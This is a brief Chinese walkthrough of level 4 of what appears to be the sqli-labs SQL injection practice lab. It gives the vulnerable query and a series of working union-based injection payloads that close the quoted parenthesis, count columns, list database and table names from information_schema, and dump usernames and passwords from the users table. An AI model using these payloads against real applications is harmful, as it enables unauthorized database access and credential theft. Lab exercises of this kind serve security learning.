less4
第四关的sql语句是这样的:
select * from user where id=("$id");
?id=1")–+回显正常
order by 4报错,有3列
union select 判断有无显示位
爆数据库名和列名:
?id=-1") union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
爆帐号和密码:
?id=0") union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
也可以直接exp撸:
-1") union SELECT 1,2,(select group_concat(username,0x3a,password) from users)–+